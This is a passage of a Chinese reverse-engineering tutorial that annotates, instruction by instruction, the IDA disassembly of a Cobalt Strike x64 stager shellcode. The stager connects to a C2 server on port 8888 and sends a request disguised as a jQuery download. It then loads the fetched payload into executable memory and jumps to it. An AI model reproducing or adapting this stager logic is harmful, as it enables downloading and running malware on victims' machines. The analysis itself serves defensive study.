seg000:000000000000011C push r9 ; 设置第 5 个参数,stack: 0 -> lpszPassword
seg000:000000000000011E mov r10d, 0C69F8957h ; 目标 API Hash
seg000:0000000000000124 call rbp ; rcx = hInternet 句柄
; rdx = return_address(实际是字符串地址 -> C2地址)
; r8 = 8888
; r9 = 0
;
; InternetConnectA(
; hInternet, // rcx
; lpszServerName, // rdx
; 8888, // r8 (nServerPort)
; NULL, // r9 (lpszUserName)
; NULL, // stack (lpszPassword)
; 3, // stack (dwService)
; 0, // stack (dwFlags)
; 0 // stack (dwContext)
; );
seg000:0000000000000126 jmp short loc_181 ; 进入下一阶段(HTTP 请求构造)
seg000:0000000000000126 sub_109 endp
|
跟进 short loc_181,默认情况下,IDA显示如下。
这里最关键的是 call sub_128 指令,该指令会将返回地址(0x186地址)(内嵌URL路径+Headers字符串地址)压入栈中,并跳转进入函数执行。
需注意的是,call传入的返回地址内容,并不是“用于控制流的返回地址”,而是后面构造 HTTP 请求函数时的一个参数内容,rbx = 指向内嵌数据(内嵌URL路径+Headers字符串地址)。
针对识别错的内容,我们需要先选中 按U 取消识别(如果右击提示可以直接 按A 设置字符串的话,也可直接设置字符串)。
再手动鼠标选择一直到 \0 的行,再 按A 设置字符串。
上面说返回地址(0x186地址)是内嵌URL路径+Headers字符串地址。本质就是该地址索引了两部分数据。第一部分:0x186 地址,就是 URL路径(/jquery-3.3.2.slim.min.js)的位置。第二部分,在 sub_128 中,还使用了 hex(0x0186+0x50) = 0x1D6 地址(sub_128+20: add rbx, 50h处),这部分就是Headers字符串(User-Agent)的内容。
可以在 0x1D0 处开始,先选中识别错误的内容,然后 按U 取消识别。
然后再从 0x1D6 处开始,手动鼠标选择一直到 \0 的行,再 按A 设置字符串。
这样两部分待使用的字符串内容就识别出来了。
跟进 sub_128,内容如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
|
seg000:0000000000000128 ; =============== S U B R O U T I N E =======================================
seg000:0000000000000128
seg000:0000000000000128 ; call sub_128 指令,会将返回地址(0x186地址)(内嵌URL路径+Headers字符串地址)压入栈中。
seg000:0000000000000128 ; pop rbx指令,返回地址(0x186地址)指向的不是“代码逻辑”,而是内嵌URL路径+Headers字符串地址
seg000:0000000000000128 ;
seg000:0000000000000128 ; 寄存器(关键):
seg000:0000000000000128 ; rax = InternetConnectA 返回的 HINTERNET 连接句柄 hConnect。
seg000:0000000000000128 ; rbp = resolver 解析器(0x0A地址)
seg000:0000000000000128
seg000:0000000000000128 sub_128 proc near
seg000:0000000000000128 pop rbx
seg000:0000000000000129 mov rcx, rax ; rax = hInternet(InternetConnectA 返回)。
; 此时,第 1 参数 rcx 位置 = rax = InternetConnectA 返回的句柄 hConnect
seg000:000000000000012C xor rdx, rdx ; 设置第 2 个参数,rdx = 0
seg000:000000000000012F mov r8, rbx ; 设置第 3 参数,r8 = rbx = 内嵌URL路径+Headers字符串地址。
; 这里到\0终止符就是URL路径字符串部分,/jquery-3.3.2.slim.min.js
seg000:0000000000000132 xor r9, r9 ; 设置第 4 参数,r9 寄存器清零。
seg000:0000000000000135 push rdx ; 设置第 8 个参数,stack: 0 -> dwContext
seg000:0000000000000136 push 0FFFFFFFF84400200h ; 设置第 7 个参数,stack: 0x84400200 -> dwFlags
; (0xFFFFFFFF84400200 这里高 32 位是符号扩展,真正有意义的是低 32 位 0x84400200)
seg000:000000000000013B push rdx ; 设置第 6 个参数,stack: 0 -> lplpszAcceptTypes
seg000:000000000000013C push rdx ; 设置第 5 个参数,stack: 0 -> lpszReferrer
seg000:000000000000013D mov r10d, 3B2E55EBh ; 目标 API Hash
seg000:0000000000000143 call rbp ; 创建一个 HTTP request 对象/句柄。
; HttpOpenRequestA(
; hConnect, // rcx
; NULL, // rdx -> lpszVerb
; /jquery-3.3.2.slim.min.js, // r8 -> lpszObjectName
; NULL, // r9 -> lpszVersion
; NULL, // 第5参数 -> lpszReferrer
; NULL, // 第6参数 -> lplpszAcceptTypes
; 0x84400200, // 第7参数 -> dwFlags
; 0 // 第8参数 -> dwContext
; );
seg000:0000000000000145 mov rsi, rax ; rsi = hRequest。
; 把 HttpOpenRequestA 创建出来的请求句柄(hRequest)保存起来,后面继续用。
seg000:0000000000000148 add rbx, 50h ; 'P' ; rbx 原先直接指向 内嵌URL路径+Headers字符串地址
; rbx = hex(0x0186+0x50) = 0x1D6, 此时 rbx 指向 Headers字符串(User-Agent)("Accept: text/html,...") 部分
seg000:000000000000014C push 0Ah
seg000:000000000000014E pop rdi ; 设置 rdi = 10。(重试次数10次)
; 准备循环调用“发送请求”类 API(比如 HttpSendRequestA)。
seg000:000000000000014F
seg000:000000000000014F loc_14F:
seg000:000000000000014F mov rcx, rsi ; 此时,第 1 参数 rcx 位置 = rsi = HttpOpenRequestA 返回的句柄 hRequest
seg000:0000000000000152 mov rdx, rbx ; 设置第 2 个参数,rdx = Headers 字符串(User-Agent)地址
seg000:0000000000000155 mov r8, 0FFFFFFFFFFFFFFFFh ; 设置第 3 参数,r8 = 0FFFFFFFFFFFFFFFFh = -1。字符串长度参数传 -1,表示按 \0 自动计算长度。
seg000:000000000000015C xor r9, r9 ; 设置第 4 参数,r9 寄存器清零。
seg000:000000000000015F push rdx ; 设置第 5 个参数,Headers 字符串(User-Agent)地址。
seg000:0000000000000160 push rdx ; 设置第 6 个参数,Headers 字符串(User-Agent)地址。
seg000:0000000000000161 mov r10d, 7B18062Dh ; 函数 API Hash
seg000:0000000000000167 call rbp ; 把这个 request 对象真正发出去。
; 语义上:这是“发送 HTTP 请求”的阶段;形态上:很像 HttpSendRequestA;但仅凭这两次 push rdx,还不能把原型 100% 钉死
;
; HttpSendRequestA(
; hRequest, // rcx -> hRequest
; lpszHeaders, // rdx -> Headers 字符串(User-Agent)地址
; dwHeadersLength, // r8 -> -1 (表示按\0自动计算)
; lpOptional, // r9- > NULL
; dwOptionalLength // 第 5 参数通常应该是一个长度值,比如 0,而不是 headers 指针。
; );
seg000:0000000000000169 test eax, eax
seg000:000000000000016B jnz loc_30E ; eax != 0,HttpSendRequestA 调用成功,跳到 loc_30E。进行下一阶段
seg000:0000000000000171 dec rdi ; rdi = rdi - 1。
seg000:0000000000000174 jz loc_306 ; 如果减到 0,重试次数用完,跳失败路径 loc_306
seg000:000000000000017A jmp short loc_14F ; eax = 0,且 edi 未减到0,就重新循环执行 loc_14F 代码。
seg000:000000000000017C ; ---------------------------------------------------------------------------
seg000:000000000000017C
seg000:000000000000017C loc_17C:
seg000:000000000000017C jmp loc_365 ; call sub_109函数
; 会将返回地址(0x36A地址)(内嵌C2字符串地址)压入栈中,并跳转进入函数执行。
; 需注意的是,这里的 rdx 不是“返回地址用于控制流”,而是 rdx = 指向内嵌数据(C2字符串)。
; E8 9F FD FF FF → call sub_109
seg000:0000000000000181 ; ---------------------------------------------------------------------------
seg000:0000000000000181
seg000:0000000000000181 loc_181:
seg000:0000000000000181 call sub_128 ; call sub_128函数
; 会将返回地址(0x186地址)(内嵌URL路径+Headers字符串地址)压入栈中,并跳转进入函数执行。
; 需注意的是,这里的 rbx 不是“返回地址用于控制流”,而是 rbx = 指向内嵌数据(内嵌URL路径+Headers字符串地址)。
; 手动鼠标选择一直到\0的行,再右键设置字符串(按A)
seg000:0000000000000181 ; ---------------------------------------------------------------------------
seg000:0000000000000186 aJquery332SlimM db '/jquery-3.3.2.slim.min.js',0
seg000:00000000000001A0 db 0B1h
seg000:00000000000001A1 db 1
seg000:00000000000001A2 dw 0B4E9h, 7D1Bh, 0EB24h
seg000:00000000000001A8 db 2
seg000:00000000000001A9 db 47h ; G
seg000:00000000000001AA db 4Fh ; O
seg000:00000000000001AB db 7Fh, 21h, 0DFh, 16h, 0D5h
seg000:00000000000001B0 db 13h
seg000:00000000000001B1 db 0EAh, 0Dh, 9, 0FDh, 0FAh, 14h, 0C1h
seg000:00000000000001B8 db 0ABh
seg000:00000000000001B9 db 84h, 0D8h, 0DEh, 6Ah, 1Fh, 7, 7Fh
seg000:00000000000001C0 db 0A7h
seg000:00000000000001C1 db 0Ah, 2Eh, 58h, 2Dh, 0C7h, 55h, 0EAh
seg000:00000000000001C8 db 0E4h
seg000:00000000000001C9 db 6Bh, 0ABh, 69h, 0FBh, 21h, 23h, 0C8h
seg000:00000000000001D0 db 54h ; T
seg000:00000000000001D1 db 0B9h
seg000:00000000000001D2 db 55h ; U
seg000:00000000000001D3 db 0E8h
seg000:00000000000001D4 db 0D1h
seg000:00000000000001D5 db 0
seg000:00000000000001D6 aAcceptTextHtml db 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*'
seg000:0000000000000217 db ';q=0.8',0Dh,0Ah
seg000:000000000000021F db 'Accept-Language: en-US,en;q=0.5',0Dh,0Ah
seg000:0000000000000240 db 'Referer: http://code.jquery.com/',0Dh,0Ah
seg000:0000000000000262 db 'Accept-Encoding: gzip, deflate',0Dh,0Ah
seg000:0000000000000282 db 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit'
seg000:00000000000002C3 db '/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/13'
seg000:0000000000000304 db '9',0
seg000:0000000000000306 ; ---------------------------------------------------------------------------
seg000:0000000000000306
seg000:0000000000000306 loc_306:
seg000:0000000000000306
seg000:0000000000000306 mov r14d, 56A2B5F0h ; 如果 rdi 减到 0,重试次数用完,跳失败路径 loc_306
seg000:000000000000030C call rbp ; 触发异常
seg000:000000000000030E
seg000:000000000000030E loc_30E:
seg000:000000000000030E xor rcx, rcx ; HttpSendRequestA 调用成功,跳到 loc_30E。
; 前置状态:
; rsi = hRequest 前面保存的请求句柄
; rbx = Headers 字符串(User-Agent)地址
; rbp = resolver
; 设置第 1 个参数,rcx = 0,lpAddress = NULL
seg000:0000000000000311 mov edx, 400000h ; 设置第 2 个参数,edx = 0x40000h,dwSize = 0x400000
seg000:0000000000000311 ; 注意这里写的是 edx,在 x64 下会把 rdx 高 32 位清零。
seg000:0000000000000316 mov r8d, 1000h ; 设置第 3 参数,r8 = 0x1000,flAllocationType = MEM_COMMIT
seg000:000000000000031C mov r9d, 40h ; '@' ; 设置第 4 参数,r9 = 0x40,flProtect = PAGE_EXECUTE_READWRITE
seg000:0000000000000322 mov r10d, 0E553A458h ; 函数 API Hash
seg000:0000000000000328 call rbp ; VirtualAlloc(
; NULL, // rcx -> lpAddress
; 0x400000, // rdx -> dwSize
; 0x1000, // r8 -> flAllocationType = MEM_COMMIT
; 0x40 // r9 -> flProtect = PAGE_EXECUTE_READWRITE
; );
seg000:000000000000032A xchg rax, rbx ; 把新申请到的内存地址(alloc_base)放进 rbx。(xchg:交换两个寄存器的值)
seg000:000000000000032C push rbx
seg000:000000000000032D push rbx
seg000:000000000000032E mov rdi, rsp ; push ebx, push rbx, mov edi,rsp 这 3 句不要按“普通参数”去理解,重点是构造一个可写内存地址。
; 类似于在栈上准备一个“读了多少字节”的输出变量。类似 WinINet 里 LPDWORD lpdwNumberOfBytesRead
; 两个 push,连续压入两个 8 字节值,栈顶现在有两份 alloc_base。
; mov rdi, rsp,使 rdi = rsp,所以现在 rdi 指向栈顶那一格内存。
seg000:0000000000000331
seg000:0000000000000331 loc_331:
seg000:0000000000000331 mov rcx, rsi ; 设置第 1 个参数,rcx = hRequest 前面保存的请求句柄
seg000:0000000000000334 mov rdx, rbx ; 设置第 2 个参数,rdx = Virtual 开辟的缓冲区地址(alloc_base)
seg000:0000000000000337 mov r8d, 2000h ; 设置第 3 参数,r8 = 2000h,每次最多读取 0x2000 字节
seg000:000000000000033D mov r9, rdi ; 设置第 4 参数,r9 = rdi = 指向栈顶那一格内存
seg000:0000000000000340 mov r10d, 0E2899612h ; 函数 API Hash
seg000:0000000000000346 call rbp ; InternetReadFile(
; hRequest, // rcx -> hFile
; buffer, // rdx -> lpBuffer
; 0x2000, // r8 -> dwNumberOfBytesToRead
; &bytesRead // r9 -> lpdwNumberOfBytesRead
; );
seg000:0000000000000348 add rsp, 20h ; 堆栈平衡(手工回收这 0x20 字节)。
seg000:0000000000000348 ; 每次 call rbp,resolver 自己还会在尾部再做一次:sub rsp, 20h。
seg000:000000000000034C test eax, eax
seg000:000000000000034E jz short loc_306 ; eax = 0,InternetReadFile 函数读取数据失败,跳转失败路径 loc_306
seg000:0000000000000350 mov ax, [rdi] ; 从 rdi 指向的位置(lpdwNumberOfBytesRead)取出“本次读取字节数”(ax的16位大小)。
seg000:0000000000000350 ; 如果真是 InternetReadFile 的 lpdwNumberOfBytesRead,按标准原型它本该写 32 位 DWORD。但这段 shellcode 这里只取低 16 位来用。
seg000:0000000000000353 add rbx, rax ; 执行前,rbx = 当前写入位置(alloc_base)
; 执行后,rbx = rbx + bytesRead_low16
; 把写指针往后推进,准备下次继续读的内容写到后面。
seg000:0000000000000356 test eax, eax
seg000:0000000000000358 jnz short loc_331 ; 这里虽然前面只写了 ax,但 eax 的低 16 位已经更新,用它判断“本次读取量是否为 0”。
; 如果读到的字节数不为 0,说明还没结束,继续 loc_331 进行下一轮读取。
; bytesRead != 0 -> 继续读
; bytesRead == 0 -> 说明读到 EOF / 数据结束,退出循环
seg000:000000000000035A pop rax
seg000:000000000000035B pop rax
seg000:000000000000035C pop rax ; 连续三次 pop rax,作用不是“恢复业务寄存器”,而是在一路弹栈回到更早之前压进去的地址/值。
; 到第三次 pop rax 后,rax 很可能拿到的是:某个之前压栈保存的代码/数据相关地址、而不是前面网络读取得到的值。
seg000:000000000000035D add rax, 0FAFh ; 把这个基地址往后偏移 0xFAF,得到一个新的目标地址
seg000:0000000000000363 push rax
seg000:0000000000000364 retn ; push rax 把目标地址压成“返回地址”。
; retn 直接弹它到 rip。
; 两句连起来相当于 jmp rax。最终效果就是,跳到 base + 0xFAF 这个位置执行
seg000:0000000000000365 ; ---------------------------------------------------------------------------
seg000:0000000000000365
seg000:0000000000000365 loc_365: ; CODE XREF: sub_128:loc_17C↑j
seg000:0000000000000365 call sub_109
seg000:0000000000000365 sub_128 endp ; sp-analysis failed
seg000:0000000000000365
|
至此,Cobalt Strike 生成的 Stager 类型的 Shellcode 分析完成。
这段 Shellcode 只是完成了从 Cobalt Strike 的 Server 上下载代码执行的功能,真正的恶意代码后续还需要接着分析。
参考1:CS-Shellcode分析系列 第一课
参考2:CS-Shellcode分析系列 第二课
参考3:CS-Shellcode分析系列 第三课